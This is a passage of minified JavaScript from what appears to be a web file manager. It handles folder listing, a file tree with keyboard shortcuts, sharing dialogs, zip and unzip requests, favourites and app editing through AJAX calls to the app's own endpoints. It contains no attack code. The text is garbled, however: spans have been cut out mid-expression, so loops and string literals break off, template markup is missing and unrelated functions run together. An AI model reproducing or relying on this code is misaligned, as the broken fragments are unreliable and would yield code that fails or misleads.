.msg").stop(!0,!0).fadeIn(200)},success:function(a){if($(".tools-left .msg").fadeOut(300),!a||!a.code)return Tips.tips(a),"function"==typeof c&&c(),!1;var d=jsonDataSort(a.data);"function"==typeof b&&b(d)},error:function(a,b,d){$(".tools-left .msg").fadeOut(300),core.ajaxError(a,b,d),"function"==typeof c&&c()}})},f5Callback=function(a){f5(!0,!1,a)},jsonDatafilter=function(a){if(!a)return a;if(void 0!=a.shareList&&(selfShare=a.shareList),a.filterSuccess===!0)return a;for(var b in a)if("fileList"==b||"folderList"==b)for(var c=0;c"+LNG.group_guest+"";$(".role-label-box").html(m),G.isRoot&&$(".role-label-box").html("")}else if(d==G.KOD_GROUP_PATH&&b.groupRole){var m=""+b.groupRole.name+"";$(".role-label-box").html(m)}(d==G.KOD_GROUP_ROOT_ALL||d==G.KOD_GROUP_ROOT_SELF||d==G.KOD_USER_FAV||d==G.KOD_GROUP_SHARE)&&$(".path-tips").hide(),1==G.isRoot&&b.adminRealPath?$(".admin-real-path").removeClass("hidden"):$(".admin-real-path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,init:function(){$(window).bind("resize",function(){resetTotalHeight(),core.isApp("desktop")?ui.resetDesktopIcon():ui.headerAddress.resetWidth()}),bindScrollLoadMore()}}});;define("app/path/tpl/file/list.html",[],"{{if itemPermission=G.isRoot?\"\":LNG.permission+' : '+list.mode+' '}}{{/if}} \n\n{{if list.menuType}}\n {{if itemClassName = ' '+list.menuType + ' systemBox ' }}{{/if}}\n{{else}}\n {{if type=='icon-folder' || type=='split-folder' || type=='list-folder' }}\n {{if itemClassName = ' folder-box menu-folder '}}{{/if}}\n {{else}}\n {{if itemClassName = ' file-box menu-file '}}{{/if}}\n {{/if}}\n{{/if}}\n{{if !list.sid && typeof(list.isReadable)!=\"undefined\"}}\n {{if itemClassName += !list.isWriteable?' file-not-writeable ':''}}{{/if}}\n {{if itemClassName += !list.isReadable?' file-not-readable ':''}}{{/if}}\n{{/if}}\n{{if typeof(list.exists)=='number' && list.exists==0}}\n {{if itemClassName += ' file-not-exists '}}{{/if}} \n{{/if}}\n\n\n{{if type=='icon-folder'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{fileIconMake('folder','icon',list)}}\n
        \n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n {{list.name}}\n
        \n
        \n\n\n{{else if type=='list-folder'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n \n {{if list.isParent&&list.isReadable}}{{/if}}\n \n
        \n {{fileIconMake('folder','list',list)}}\n
        \n {{list.name}}\n
        \n
        {{LNG.folder}}
        \n
        \n
        {{list.mtime || \"\"}}
        \n
        \n
        \n{{if list.isParent&&list.isReadable}}\n
        \n{{/if}}\n\n\n{{else if type=='split-folder'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n {{fileIconMake('folder','split',list)}}\n
        \n {{list.name}}\n \n {{if list.isReadable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='icon-file'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n {{fileIconMake('file','icon',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n \n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n \n
        \n
        \n\n\n{{else if type=='list-file'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n \n {{fileIconMake('file','list',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n \n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n \n
        \n
        {{list.ext |kod.window.htmlEncode}} {{LNG.file}}
        \n
        {{list.size |pathTools.fileSize}}
        \n
        {{list.mtime || \"\"}}
        \n
        \n
        \n\n\n{{else if type=='split-file'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{fileIconMake('file','split',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n \n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n \n
        \n
        \n{{/if}}\n\n");;define("app/common/tree",["../path/pathOperate","../path/tpl/fileinfo/fileInfo.html","../path/tpl/fileinfo/pathInfo.html","../path/tpl/share.html","../path/tpl/fileinfo/pathInfoMore.html","../path/tpl/appEdit.html","../path/clipboard","../path/search","../path/tpl/search.html","../path/tpl/searchList.html"],function(a,b){var c,d,e=a("../path/pathOperate"),f=a("../path/clipboard"),g=a("../path/search"),h=!1;ui.pathOperate=e;var i=function(a,b){var c=["menu-tree-group","menu-tree-fav","menu-tree-folder-fav"];if(a&&a[0]&&-1!==$.inArray(a[0].menuType,c))return a;for(var d=[],e=[],f=0;f'+LNG.system_error+"")},success:function(a){if(!a.code)return void $("#folder-list-tree").html('
        '+LNG.system_error+"
        ");var b=i(a.data,!0);b=j.reset(b),$.fn.zTree.init($("#folder-list-tree"),n,b),d=$.fn.zTree.getZTreeObj("folder-list-tree")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),core.isApp("editor")&&(Mousetrap.bind("up",function(a){l(a,"up")}).bind("down",function(a){l(a,"down")}).bind("left",function(a){l(a,"left")}).bind("right",function(a){l(a,"right")}),Mousetrap.bind("enter",function(a){tree.open()}).bind(["del","command+backspace"],function(a){tree.remove()}).bind("f2",function(a){stopPP(a),tree.rname()}).bind(["ctrl+f","command+f"],function(a){stopPP(a),tree.search()}).bind(["ctrl+c","command+c"],function(a){tree.copy()}).bind(["ctrl+x","command+x"],function(a){tree.cute()}).bind(["ctrl+v","command+v"],function(a){tree.past()}).bind("alt+m",function(a){tree.create("folder")}).bind("alt+n",function(a){tree.create("file")}))},l=function(a,b){stopPP(a);var c=d.getSelectedNodes()[0];if(c)switch(b){case"up":var e=c.getPreNode();if(e){if(e.open&&e.children.length>0)for(;e.open&&e.children&&e.children.length>=1;)e=e.children[e.children.length-1]}else e=c.getParentNode();d.selectNode(e);break;case"down":if(c.open&&c.children.length>=1)e=c.children[0];else{var f=c,e=f.getNextNode()||f.getParentNode().getNextNode();try{for(;!e;)f=f.getParentNode(),e=f.getNextNode()||f.getParentNode().getNextNode()}catch(a){}}d.selectNode(e);break;case"left":c.isParent&&c.open?d.expandNode(c,!1):d.selectNode(c.getParentNode());break;case"right":c.open?d.selectNode(c.children[0]):d.expandNode(c,!0)}},m=function(){return core.isApp("editor")?!1:!0},n={async:{enable:!0,dataType:"json",url:function(){return G.appHost+Config.treeAjaxURL},autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(a,b,c){return c.code?i(c.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(a,b){var c=15,d=$("#"+b.tId+"_switch"),e=$("#"+b.tId+"_ico");d.remove(),b.iconSkin=b.tree_icon;var f=b.tree_icon;if(b.ext?f=b.ext:b.tree_icon||(f=b.type),e.before(d).before(''+core.iconSmall(f)+"").remove(),void 0!=b.ext&&e.attr("class","").addClass("file "+b.ext).removeAttr("style"),b.level>=1){var g="";d.before(g)}d.before("");var h="";void 0!=b.menuType?h=b.menuType:(("file"==b.type||"oexe"==b.ext)&&(h="menu-tree-file"),"folder"==b.type&&(h="menu-tree-folder"));var i=LNG.name+":"+b.name+"\n"+LNG.size+":"+pathTools.fileSize(b.size)+"\n"+LNG.modify_time+":"+b.mtime;"file"!=b.type&&(i=b.name),d.parent().addClass(h).attr("title",i),0==b.isWriteable&&d.parent().addClass("file-not-writeable"),0==b.isReadable&&d.parent().addClass("file-not-readable"),0===b.exists&&d.parent().addClass("file-not-readable")}},callback:{onClick:function(a,b,c){if(0==c.level&&j.save(),$(a.target).hasClass("menu-item")||$(a.target).parent().hasClass("menu-item")){var e=$("#"+c.tId+"_a"),f=e.find(".menu-item");return e.contextMenu({x:f.offset().left+f.width(),y:f.offset().top}),stopPP(a)}return d.selectNode(c),core.isApp("editor")&&"folder"==c.type?void d.expandNode(c):void(core.isApp("editor")||"folder"!=c.type?(kodApp.setLastOpenTarget($("#"+c.tId)),kodApp.open(o().path)):ui.path.list(c.path))},beforeDblClick:function(){return!0},onCollapse:function(a,b,c){0==c.level&&j.save()},onExpand:function(a,b,c){0==c.level&&j.save()},onDblClick:function(a,b,c){return $(a.target).hasClass("switch")||!m()?!1:void d.expandNode(c)},beforeRightClick:function(a,b){d.selectNode(b)},beforeAsync:function(a,b){b.ajax_name=b.name,b.ajax_path=b.path,$("#"+b.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(a,b,e,f){return $("#"+e.tId+"_my_ico").removeClass("ico_loading"),0==f.data.length?void d.removeChildNodes(e):void("function"==typeof c&&(c(),c=void 0))},onRename:function(a,b,f,g){var h=f.getParentNode();if(d.getNodesByParam("name",f.name,h).length>1)return Tips.tips(LNG.name_isexists,!1),void d.removeNode(f);if(f.create){var i=f.path+"/"+f.name;"folder"==f.type?e.newFolder(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)}):e.newFile(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)})}else{var j=rtrim(f.path,"/"),k=core.pathFather(f.path)+f.name;e.rname(j,k,function(a){f.path=a,c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t(),"folder"==f.type&&ui.path.list(f.path)},p(h)})}},beforeDrag:function(a,b){for(var c=0,d=b.length;d>c;c++)if(b[c].drag===!1)return!1;return!0},beforeDrop:function(a,b,c,d){return c?c.drop!==!1:!0},onDrop:function(a,b,c,d,e){var g="",h="",i=c[0];(i.father||i.thisPath)&&(g=i.father+urlEncode(i.name),h=d.father+urlEncode(d.name),f.cuteDrag([{path:g,type:i.type}],h,function(){p(i)}))}}},o=function(a){if(d){var b=d.getSelectedNodes()[0],c="";return b?(c=b.type,("_null_"==c||void 0==c)&&(c="folder"),"file"==c&&(c=b.ext),a?[{path:b.path,type:c,node:b}]:{path:b.path,type:c,node:b}):{path:"",type:""}}},p=function(a){return a||(a=d.getSelectedNodes()[0]),a.isParent||(a=a.getParentNode())?void d.reAsyncChildNodes(a,"refresh"):void ui.tree.init()},q=function(){s(G.KOD_USER_FAV),t()},r=function(){q(),s(G.KOD_GROUP_ROOT_SELF),s(G.KOD_GROUP_ROOT_ALL)},s=function(a){var b=d.getNodesByParam("path",a,null);p(b[0])},t=function(){core.isApp("explorer")&&ui.f5()};return{makeParam:o,treeOpenHistory:j,treeDataSort:i,init:k,refresh:p,refreshPath:s,refreshFav:q,refreshGroup:r,zTree:function(){return d},openEditor:function(){kodApp.open(o().path)},openWindow:function(){kodApp.openWindow(o().path)},share:function(){e.share(o())},download:function(){"folder"==o().type?e.zipDownload(o(!0)):kodApp.download(o().path)},setSelect:function(a){return},open:function(){if(!($(".dialog-path-remove").length>=1)){var a=o();"oexe"==a.type&&(a.path=a.node),kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(a.path,a.type)}},fav:function(){var a=o();a.name=a.node.name,a.node="null",e.fav(a)},createLink:function(a){var b=o();e.createLink(b.path,b.node.name,b.type,a,t)},search:function(){g("",o().path)},appEdit:function(){var a=o(),b=a.node;b.path=a.path,e.appEdit(b,function(){p(a.node.getParentNode())})},info:function(){e.info(o(!0))},copy:function(){f.copy(o(!0))},cute:function(){f.cute(o(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(a){f.copyDrag(o(!0),a,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(a){f.cuteDrag(o(!0),a,function(){s()})})},past:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.past(a.path,function(){t(),p(a.node)})},clone:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.copyDrag(o(!0),core.pathFather(a.path),function(){t(),p("folder"==a.type?a.node.getParentNode():a.node)},!0)},favRemove:function(a){e.favRemove(o().node.name,function(a){Tips.tips(a),q()})},remove:function(){var a=o(!0),b=a[0].node.getParentNode();a[0].type=a[0].node.type,a[0].type="folder"==a[0].type?"folder":"file",e.remove(a,function(){t(),p(b)})},checkIfChange:function(a){h||(h=!0,d&&(d.getNodesByFilter(function(b){var c=b.path;return"folder"==b.type&&core.pathClear(c)==core.pathClear(a)&&p(b),!1},!0),setTimeout(function(){h=!1},500)))},explorer:function(){var a=d.getSelectedNodes();if(a.length<=0){var b=d.getNodes();d.selectNode(b[0])}var c=o().path;"folder"!=o().type&&(c=core.pathFather(c)),core.explorer(c)},openProject:function(){core.explorerCode(o().path)},create:function(a){var b=d.getSelectedNodes();if(b.length<=0){var e=d.getNodes();d.selectNode(e[0])}else"file"==b[0].type&&d.selectNode(b[0].getParentNode());var f=o(),g=f.node,h=g.getParentNode(),i=0,j="folder"==a?"":"."+a,k="folder"==a?LNG.newfolder:LNG.newfile;if(0==d.getNodesByParam("name",k+j,h).length)k+=j;else{for(;d.getNodesByParam("name",k+"("+i+")"+j,h).length>0;)i++;k=k+"("+i+")"+j}var l={name:k,ext:j,type:a,create:!0,path:f.path};if(void 0!=g.children){var m=d.addNodes(g,l)[0];d.editName(m)}else"folder"!=g.type&&(g=g.getParentNode()),c=function(){var a=d.addNodes(g,l)[0];d.editName(a)},g.isParent?d.expandNode(g):c()},showFile:function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+o().path;window.open(a)},rname:function(){var a=d.getSelectedNodes()[0];d.editName(a),a.beforeName=a.name}}});;define("app/path/pathOperate",["./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/share.html","./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/fileinfo/pathInfoMore.html","./tpl/appEdit.html"],function(a,b){tplFileInfo=a("./tpl/fileinfo/fileInfo.html"),tplPathInfo=a("./tpl/fileinfo/pathInfo.html");var c=["/","\\",":","*","?",'"',"<",">","|"],d=["/","\\"],e=function(a){var b=function(a,b){for(var c=b.length,d=0;c>d;d++)if(a.indexOf(b[d])>0)return!0;return!1},e=d;return G.systemOS&&"windows"==G.systemOS&&(e=c),b(a,e)?(Tips.tips(LNG.path_not_allow+": "+e.join(", "),!1),!1):!0},f=function(a){for(var b=[],c=function(a){return a?a.replace(/"/g,'\\\\"'):a},d=0;d";"share"==a[0].type&&G.selfShare[a[0].path]&&(j=""+htmlEncode(G.selfShare[a[0].path].name)+""),g=a.length>1?j+' ... '+a.length+LNG.remove_item+"
        "+g:j+"
        "+g}var k=function(){$.ajax({url:h,type:"POST",dataType:"json",data:i,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(c){if(Tips.close(c),ShareData.frameTop("",function(a){a.ui.f5()}),"share"==a[0].type){G.selfShare=c.info;var d=$.dialog.list["share-dialog"];d&&d.close()}e==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof b&&b(c)}})};c?k():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:e,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
        "+g+"
        ",ok:k,cancel:!0})}},k=function(a){if(core.authCheck("explorer.fileDownload",!0)&&!(a.length<1)){var b=G.appHost+"explorer/zipDownload";"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:b,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(a){Tips.close(a),Tips.tips(a);var b=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(a.info);b+="&accessToken="+G.accessToken,"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},l=function(a,b,c){a.length<1||(c||(c="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+c,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof b&&b(a.info)}}))},m=function(a,b,c){if(a){var d=function(a){$.ajax({url:a,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(a){Tips.close(a),"function"==typeof b&&b(a)}})},e=G.appHost+"explorer/unzip&path="+urlEncode(a);"toThis"==c&&(e+="&toThis=1"),"toFolder"==c?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(a){e+="&pathTo="+a,d(e)}):d(e)}},n=function(a){var b=a.path,c=core.pathPre(b);if(c==G.KOD_GROUP_PATH||c==G.KOD_GROUP_SHARE||c==G.KOD_USER_SHARE)return void Tips.tips(LNG.path_can_not_share,"warning");var d="folder"==a.type?"folder":"file";b.length<1||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(b),dataType:"json",error:core.ajaxError,success:function(a){if(a.code)o(a.data);else{G.selfShare=a.info;var c={path:b,type:d,name:core.pathThis(b)};p(c,function(a){a.code?(G.selfShare=a.info,ui.f5(),o(a.data)):(Tips.tips(a),o(void 0,function(){$(".content-info input[name=type]").val(d),$(".content-info input[name=path]").val(b),$(".content-info input[name=name]").val(core.pathThis(b)+"(1)"),"file"==d&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},o=function(b,c){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){q(b),void 0!=c&&c()})},p=function(a,b){$.ajax({url:G.appHost+"userShare/set",data:a,type:"POST",dataType:"json",beforeSend:function(a){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(a){$(".share-create-button").removeClass("disabled"),void 0!=b&&b(a)}})},q=function(b){var c=a("./tpl/share.html"),d=template.compile(c),e=d({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:e});var f="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:f}),$("#share-time").unbind("blur").bind("blur",function(a){stopPP(a)});var g=function(a){if($(".share-setting-more").addClass("hidden"),void 0==a)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{a.options&&(a.codeRead=a.options.codeRead,a.canUpload=a.options.canUpload,a.notDownload=a.options.notDownload),"undefined"==typeof a.canUpload&&(a.canUpload=""),b=a,a.showName||(a.showName=a.name),$(".content-info input[name=sid]").val(a.sid),$(".content-info input[name=type]").val(a.type),$(".content-info input[name=name]").val(a.name),$(".content-info input[name=showName]").val(a.showName),$(".content-info input[name=path]").val(a.path),$(".content-info input[name=timeTo]").val(a.timeTo),$(".content-info input[name=sharePassword]").val(a.sharePassword),$(".share-view-info").removeClass("hidden"),"undefined"==typeof a.numDownload&&(a.numDownload=0),"undefined"==typeof a.numView&&(a.numView=0);var c=LNG.share_view_num+a.numView+" "+LNG.share_download_num+a.numDownload;$(".share-view-info").html(c),"1"==a.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==a.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==a.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==a.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var d=a.type;"folder"==a.type&&(d=1==a.codeRead?"codeRead":"folder");var e=G.appHost+"share/"+d+"&user="+G.userID+"&sid="+a.sid;$(".content-info .share-url").val(e),(a.timeTo||a.canUpload||a.codeRead||a.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save),Hook.trigger("explorer.path.share.uiInit")}},h=function(){var a="";$(".share-dialog .content-info input[name]").each(function(){var b=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(b=$(this).attr("checked")?"1":""),a+="&"+$(this).attr("name")+"="+b}),p(a,function(a){a.code?(Tips.tips(LNG.success,!0),G.selfShare=a.info,ui.f5()):Tips.tips(a)})},i=function(){$(".share-action .share-remove-button").unbind("click").click(function(){j([{type:"share",path:b.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$("[name=sharePassword]").unbind("click").click(function(){trim($(this).val())||$(this).val(roundString(5)),$(this).blur().textSelect()});var a=$(".share-dialog .btn.copy"),c=new ClipboardJS(a.get(0),{text:function(a){h();var b=trim($("[name=sharePassword]").val()),c=$(".share-url").val();return b.length>0&&(c=LNG.share_url+":"+c+" "+LNG.share_password+":"+b),c}});c.on("success",function(a){$("input.share-url").textSelect()}),$(".share-action .share-create-button").unbind("click").click(function(){h();var a=$.dialog.list["share-dialog"];a&&a.close()}),$(".content-info .open-window").unbind("click").bind("click",function(){h(),window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var d=$("input.share-url");d.get(0);d.unbind("hover click").bind("hover click",function(a){d.textSelect()})};g(b),i()},r=function(a){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(a){Tips.tips(a)}})},s=function(a,b,c,d,e){if(!(a.length<1)){var f,g=G.myDesktop;d&&(g=core.pathFather(a)),f="folder"==c?"ui.path.list(hashDecode('"+hashEncode(a)+"'));":"ui.path.open(hashDecode('"+hashEncode(a)+"'));";var h=urlEncode(g+b+".oexe"),i=core.getPathIcon(a);""==i.icon&&(i.icon=c),$.ajax({url:G.appHost+"explorer/mkfile&path="+h,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:f,icon:i.icon})},success:function(a){Tips.tips(a),a.code&&(ShareData.frameTop("",function(a){a.ui.f5()}),"function"==typeof e&&e(a.info))}})}},t=function(a,b){if(!(a.length<1)){var c=core.pathThis(a),d=core.pathFather(a);jsrun="core.explorerCode('"+urlEncode(a)+"');";var e=urlEncode(d+c+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+e,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(a){a.code&&"function"==typeof b&&b(a.info)}})}},u=function(a,b,c){if(a){var d=G.appHost+"explorer/imageRotate&rotate="+b+"&path="+urlEncode(a);$.ajax({url:d,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){return a?(Tips.close(a),void(a.code&&"function"==typeof c&&c(a))):void Tips.close(LNG.php_env_error_gd,!1)}})}},v=function(b){var c={};c.fileInfo=a("./tpl/fileinfo/fileInfo.html"),c.pathInfo=a("./tpl/fileinfo/pathInfo.html"),c.pathInfoMore=a("./tpl/fileinfo/pathInfoMore.html"),b.length<1&&(b=[{path:G.thisPath,type:"folder"}]);var d="info";1==b.length&&(d="file"==b[0].type?core.pathExt(b[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(f(b),function(a){if(!a.code)return void Tips.close(a);Tips.close(LNG.get_success,!0);var e="pathInfoMore",f=LNG.info;1==b.length&&(e="folder"==b[0].type?"pathInfo":"fileInfo",f=core.pathThis(b[0].path),f.length>15&&(f=f.substr(0,15)+"... "+LNG.info));var g=template.compile(c[e]),h=UUID();a.data.is_root=G.isRoot,a.data.LNG=LNG,a.data.atime=date(LNG.time_type_info,a.data.atime),a.data.ctime=date(LNG.time_type_info,a.data.ctime),a.data.mtime=date(LNG.time_type_info,a.data.mtime),a.data.sizeFriendly=pathTools.fileSize(a.data.size);var i=$.dialog({id:h,padding:5,ico:core.iconSmall(d),fixed:!0,title:f,content:g(a.data),ok:!0}),j=15*$(".aui-outer .pathinfo").length;i.DOM.wrap.css({left:"+="+j+"px",top:"+="+j+"px"}),w(h,b)})},w=function(a,b){var c=$("."+a);c.find(".open-window").bind("click",function(){window.open(c.find("input.download-url").val())}),c.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(c.find("input.download-url").val(),c.find(".qrcode").get(0))});var d=c.find(".file-md5-loading");if(1==d.length){var e=f(b);e+="&getMd5=1",core.fileInfo(e,function(a){d.removeClass("file-md5-loading"),a.code?d.html(a.data.fileMd5):d.html(LNG.error)})}var g=c.find("input.download-url"),h=g.get(0);g.unbind("hover click").bind("hover click",function(a){$(this).focus();var b=g.val().length;if($.browser.msie){var c=h.createTextRange();c.moveEnd("character",-h.value.length),c.moveEnd("character",b),c.moveStart("character",0),c.select()}else h.setSelectionRange(0,b)}),c.find(".edit-chmod").click(function(){var a=$(this).parent().find("input"),c=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+a.val(),type:"POST",data:f(b),beforeSend:function(){c.text(LNG.loading)},error:function(a){c.text(LNG.button_save)},success:function(a){c.text(a.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){c.text(LNG.button_save)}),a.code&&ui.f5()}})})},x=function(a,b,c){var d=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(a),dataType:"json",async:!1,success:function(a){"function"==typeof b&&b(a)}})};return c?void d():void $.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:d,cancel:!0})},y=function(a){if(a){if(-1==trim(core.pathClear(a.path),"/").indexOf("/")){var b=core.getPathIcon(a.path,a.name);""!=b.icon&&(a.ext=b.icon,a.name=b.name)}"/"==a.path&&(a.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:a,success:function(a){Tips.tips(a),a.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},z=function(a){var b={};return b.type=a.find("input[type=radio]:checked").val(),b.content=a.find("textarea").val(),b.group=a.find("[name=group]").val(),a.find("input[type=text]").each(function(){var a=$(this).attr("name");b[a]=$(this).val()}),a.find("input[type=checkbox]").each(function(){var a=$(this).attr("name");b[a]="checked"==$(this).attr("checked")?1:0}),b},A=function(a){a.find(".type input").change(function(){var b=$(this).attr("apptype");a.find("[data-type]").addClass("hidden"),a.find("[data-type="+b+"]").removeClass("hidden")}),a.find(".app-edit-select-icon").unbind("click").bind("click",function(){var b=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(b=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:b},function(b){var b=core.path2url(b);a.find(".app-edit-select-icon-input").val(b)})}),a.find(".size-full").unbind("click").bind("click",function(){var b=$(this).prop("checked");b?(a.find("[name=width]").val("100%"),a.find("[name=height]").val("100%")):(a.find("[name=width]").val("800"),a.find("[name=height]").val("600"))})},B=function(b,c,d){var e,f,g,h=LNG.app_create,i=UUID(),j=a("./tpl/appEdit.html"),k=template.compile(j);switch(void 0==d&&(d="userEdit"),"rootEdit"==d&&(b=b),"userEdit"==d||"rootEdit"==d?(h=LNG.app_edit,g=k({LNG:LNG,uuid:i,data:b,appType:G.settings.appType})):g=k({LNG:LNG,uuid:i,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:i,padding:15,title:h,content:g,button:[{name:LNG.preview,callback:function(){return core.openApp(z(e)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var a=z(e);switch(d){case"userAdd":var g=urlEncode(G.thisPath+a.name);f=G.appHost+"app/userApp&action=add&path="+g;break;case"userEdit":f=G.appHost+"app/userApp&path="+urlEncode(b.path);break;case"rootAdd":f=G.appHost+"app/add&name="+urlEncode(a.name);break;case"rootEdit":f=G.appHost+"app/edit&name="+urlEncode(a.name)+"&old_name="+urlEncode(b.name)}$.ajax({url:f,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),a.code)if("rootEdit"==d||"rootAdd"==d){if(!a.code)return;ShareData.frameTop("Openapp_store",function(a){a.App.reload()})}else"function"==typeof c?c():ui.f5()}})}}]}),e=$("."+i),G.isRoot||$(".appbox .appline .right 